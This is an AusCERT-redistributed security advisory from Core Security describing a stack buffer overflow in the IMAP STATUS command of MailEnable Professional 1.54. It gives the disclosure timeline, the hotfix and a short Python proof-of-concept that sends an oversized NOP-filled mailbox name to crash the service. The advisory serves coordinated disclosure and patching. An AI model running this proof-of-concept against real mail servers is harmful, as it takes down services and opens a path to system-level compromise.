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-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =========================================================================== AUSCERT External Security Bulletin Redistribution ESB-2005.0542 -- Core Security Technologies Advisory CORE-2005-0629 MailEnable Buffer Overflow Vulnerability 14 July 2005 =========================================================================== AusCERT Security Bulletin Summary --------------------------------- Product: MailEnable Publisher: Core Security Technologies Operating System: Windows Impact: Administrator Compromise Access: Existing Account Original Bulletin: http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10 - --------------------------BEGIN INCLUDED TEXT-------------------- Core Security Technologies - Corelabs Advisory http://www.coresecurity.com/corelabs/ MailEnable Buffer Overflow Vulnerability Date Published: 2005-07-12 Last Update: 2005-07-12 Advisory ID: CORE-2005-0629 Bugtraq ID: None currently assigned CVE Name: None currently assigned Title: MailEnable Buffer Overflow Vulnerability Class: Boundary Error Condition (Stack Buffer Overflow) Remotely Exploitable: Yes Locally Exploitable: Yes Advisory URL: http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10 Vendors contacted: - - MailEnable 2005-06-30: Notification to vendor. 2005-06-30: Vendor acknowledged notification and provided a fix. Release Mode: COORDINATED RELEASE *Vulnerability Description:* MailEnable is a mail server software which provides a messaging platform for Microsoft Windows. For more information about MailEnable see http://www.mailenable.com/ A buffer overflow vulnerability was found in the status command. Remote exploitation of this vulnerability could allow an attacker to execute arbitrary code with System privileges. The status command requires an authenticated session, so valid credentials are required. *Vulnerable Packages:* MailEnable Professional edition version 1.54 Tested on: . Windows 2000 sp0 . Windows 2000 sp2 . Windows XP sp0 *Solution/Vendor Information/Workaround:* This issue was addressed by the last hotfix for MailEnable (dated 30th May 2005). The hotfix can be downloaded from: http://www.mailenable.com/hotfix/ *Credits:* This vulnerability was found by Ariel Sanchez from Core Security Technologies. We wish to thank Peter Fregon from MailEnable for his quick response to this issue. *Technical Description - Exploit/Concept Code:* This vulnerability was found in the Imapd daemon service of MailEnable Professional edition version 1.54. The vulnerability can be triggered by giving a long mailbox name argument to the status command. This will cause a stack based buffer overflow, containing null bytes (\x00). The following is a Python proof-of-concept code that will trigger the vulnerability: - ---------------------------------------------------------------------- # # POC about imapd mailenable bug in status command # import sys import imaplib class poc: def __init__(self,host,loginimap,passimap): self.host=host self.loginimap=loginimap self.passimap=passimap def exploit(self): print "Please wait" connect = imaplib.IMAP4(self.host) connect.login(self.loginimap,self.passimap) nops='\x00' nops+='\x90'*10540 try: typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)') except Exception,e: print "Service down!" return 0 if(len(sys.argv) < 4): print "Need 3 arguments, ./poc.py host user pass" sys.exit(1) exp=poc(sys.argv[1],sys.argv[2],sys.argv[3]) exp.exploit() - ---------------------------------------------------------------------- *About Corelabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/ *About Core Security Technologies* Core Security Technologies develops strategic security solutions for Fortune 1000 corporations, government agencies and military organizations. The company offers information security software and services designed to assess risk and protect and manage information assets. Headquartered in Boston, MA, Core Security Technologies can be reached at 617-399-6980 or on the Web at: http://www.coresecurity.com. To learn more about CORE IMPACT, the first comprehensive penetration testing product, visit: http://www.coresecurity.com/products/coreimpact *DISCLAIMER:* The contents of this advisory are copyright (c) 2005 CORE Security Technologies and (c) 2005 Corelabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. $Id: MailEnable-advisory.txt,v 1.9 2005/07/12 22:04:23 carlos Exp $ - --------------------------END INCLUDED TEXT-------------------- You have received this e-mail bulletin as a result of your organisation's registration with AusCERT. The mailing list you are subscribed to is maintained within your organisation, so if you do not wish to continue receiving these bulletins you should contact your local IT manager. If you do not know who that is, please send an email to auscert@auscert.org.au and we will forward your request to the appropriate person. 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If you have any questions or need further information, please contact them directly. Previous advisories and external security bulletins can be retrieved from: http://www.auscert.org.au/render.html?cid=1980 If you believe that your computer system has been compromised or attacked in any way, we encourage you to let us know by completing the secure National IT Incident Reporting Form at: http://www.auscert.org.au/render.html?it=3192 =========================================================================== Australian Computer Emergency Response Team The University of Queensland Brisbane Qld 4072 Internet Email: auscert@auscert.org.au Facsimile: (07) 3365 7031 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AusCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for member emergencies only. =========================================================================== -----BEGIN PGP SIGNATURE----- Comment: http://www.auscert.org.au/render.html?it=1967 iQCVAwUBQtXPlSh9+71yA2DNAQIzZgP8CqKsaqv2oyxwDJkEm/Wp1c5P3W4cuDUa DFo8VFG+V903JPZoGCShZCie+0Ic8bH7569PblVksrBVBTsNmArjTb2w+0TEkSZ7 a57T5pLvUZgtNa6CJUgkzOQyb/YEtLXB9cRQFd3+5ksIY+39IcAA7uzE43k4IQ1Y 89lqYVKpvkY= =K322 -----END PGP SIGNATURE-----